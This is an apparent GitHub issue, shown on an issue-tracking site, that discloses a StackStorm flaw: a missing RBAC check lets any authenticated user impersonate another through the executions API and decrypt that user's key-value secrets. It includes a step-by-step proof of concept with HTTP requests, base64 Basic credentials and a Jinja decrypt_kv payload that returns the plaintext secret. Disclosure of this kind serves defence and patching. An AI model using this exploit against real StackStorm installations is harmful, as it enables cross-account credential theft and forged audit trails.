StackStorm / StackStorm/st2

Execution User Impersonation Allows Cross-Account KV Secret Exfiltration (All Versions Including 3.9.0)

Open
#6,379 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
6.5k
Forks
787
PR merge metrics
No merged PRs in 30d

Description

reported via email on 25 May 2026 with no response.

Summary

Any authenticated StackStorm user can submit an action execution request that runs under the identity of any other user by supplying a user field in the POST /api/v1/executions JSON body. The guard function assert_user_is_admin_if_user_query_param_is_provided in the NoOp RBAC backend is called without require_rbac=True, so the check never fires regardless of RBAC configuration. An attacker who supplies "user": "st2admin" and a Jinja template referencing {{ st2kv.user.<key> | decrypt_kv }} in an action parameter can decrypt and exfiltrate user-scoped secrets belonging to the impersonated account. The rendered (decrypted) value is also returned inline in the API response before execution completes, giving the attacker immediate access to the plaintext secret without waiting for the execution result.

Details

StackStorm's API model LiveActionCreateAPI exposes a user field described as "User context under which action should run (admins only)". When a client POSTs to /api/v1/executions, _handle_schedule_execution extracts that field and calls:

rbac_utils.assert_user_is_admin_if_user_query_param_is_provided(
    user_db=requester_user, user=user
)

File: st2api/st2api/controllers/v1/actionexecutions.py, line 135-137.

The call omits require_rbac=True, so the default value require_rbac=False is used. The NoOp RBAC backend (active whenever rbac.enable = False, which is the default) implements this check as:

if user != user_db.name and require_rbac and not is_rbac_enabled:
    raise AccessDeniedError(...)

File: st2common/st2common/rbac/backends/noop.py, line 155.

Because require_rbac is False, the entire condition evaluates to False and no exception is raised. The user value from the request body is then stored verbatim in execution.context["user"].

Downstream, render_live_params in st2common/st2common/util/param.py reads action_context["user"] to construct a UserKeyValueLookup object:

user = action_context["user"] if "user" in action_context else None
system_keyvalue_context[USER_SCOPE] = UserKeyValueLookup(
    scope=FULL_USER_SCOPE, user=user, context=action_context
)

File: st2common/st2common/util/param.py, lines 100-112.

If an action parameter contains a Jinja template referencing {{ st2kv.user.<keyname> | decrypt_kv }}, the template engine resolves st2kv.user against the user-scoped KV store of the impersonated account and returns the decrypted value. This rendered value is then:

  1. Returned in the liveaction.parameters field of the POST /api/v1/executions HTTP response body (immediate exfiltration without waiting for execution).
  2. Passed to the shell runner, causing the decrypted secret to appear in result.stdout.

The same flaw exists in the re-run endpoint (POST /api/v1/executions/{id}/re_run, line 669) where spec_api.user is passed without an admin check.

By contrast, the key-value API itself correctly uses require_rbac=True when validating the ?user= query parameter, so direct access to another user's KV namespace via the keys API is blocked. The execution pathway is the only unguarded route.

Comparison with GHSA-7pcr-cq2v-cv39 (Improper RBAC Check for K/V Datastore Access): That advisory covered access to K/V items when RBAC was enabled with explicit K/V permission grants; it did not address user-field impersonation in the execution API as a bypass. This issue affects all installations regardless of whether the RBAC backend is enabled.

PoC

Prerequisites: two accounts, st2admin and testuser, in a default StackStorm deployment (RBAC disabled is the default).

Step 1 - Store a user-scoped secret as st2admin:

POST /auth/v1/tokens HTTP/1.1
Host: stackstorm
Authorization: Basic c3QyYWRtaW46Q2hAbmdlTWU=
Content-Type: application/json

{"ttl": 86400}

Response: {"token":"<ADMIN_TOKEN>",...}
PUT /api/v1/keys/apipassword HTTP/1.1
Host: stackstorm
X-Auth-Token: <ADMIN_TOKEN>
Content-Type: application/json

{"name":"apipassword","value":"SuperSecretAdminPass123","secret":true,"scope":"st2kv.user"}

Response: {"uid":"key_value_pair:st2kv.user:st2admin:apipassword","scope":"st2kv.user","user":"st2admin","encrypted":true,...}

Step 2 - Authenticate as testuser:

POST /auth/v1/tokens HTTP/1.1
Host: stackstorm
Authorization: Basic dGVzdHVzZXI6dGVzdHVzZXIxMjM=
Content-Type: application/json

{"ttl": 86400}

Response: {"token":"<USER_TOKEN>","user":"testuser",...}

Step 3 - Confirm testuser cannot access admin's KV directly:

GET /api/v1/keys?scope=user&user=st2admin HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>

Response: 400 {"faultstring":"\"user\" attribute can only be provided by admins when RBAC is enabled"}

Step 4 - Exfiltrate admin's user-scoped secret via execution impersonation:

POST /api/v1/executions HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>
Content-Type: application/json

{
  "action": "core.local",
  "user": "st2admin",
  "parameters": {
    "cmd": "echo {{ st2kv.user.apipassword | decrypt_kv }}"
  }
}

Response (immediate, before execution completes):
{
  "liveaction": {
    "parameters": {
      "cmd": "echo SuperSecretAdminPass123"
    }
  },
  "context": {
    "user": "st2admin"
  },
  ...
}

Step 5 - Execution result confirms exfiltration:

GET /api/v1/executions/<id> HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>

Response:
{
  "status": "succeeded",
  "context": {"user": "st2admin"},
  "result": {"stdout": "SuperSecretAdminPass123", "return_code": 0}
}

Tested on StackStorm 3.9.0 (latest, commit 7d20478, Docker image stackstorm/st2api:latest).

Impact

Any authenticated StackStorm user (including accounts with no intended administrative privileges) can:

  1. Run any enabled action as an arbitrary user, bypassing audit trails and attributing the execution to the impersonated account.
  2. Exfiltrate all user-scoped datastore secrets belonging to any other user by referencing {{ st2kv.user.<key> | decrypt_kv }} in action parameters. The decrypted secret is returned in the HTTP response body before execution completes.
  3. Forge the execution context, causing downstream workflow logic that reads action_context.user to behave as if operated by the impersonated user.

In environments where user-scoped KV items hold credentials (API keys, passwords, OAuth tokens) for per-user integrations, this is a full cross-account credential theft vulnerability. Because the re_run endpoint has the same flaw, re-running any existing execution with a spoofed user is also possible.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in st2api/st2api/controllers/v1/actionexecutions.py at _handle_schedule_execution and the re_run endpoint, then inspect the guard in st2common/st2common/rbac/backends/noop.py and parameter rendering in st2common/st2common/util/param.py. Reproduce the POST /api/v1/executions flow from the PoC and verify that unauthorized user impersonation and cross-account user-scoped KV rendering are rejected, including on re-run.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
api, authorization, backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.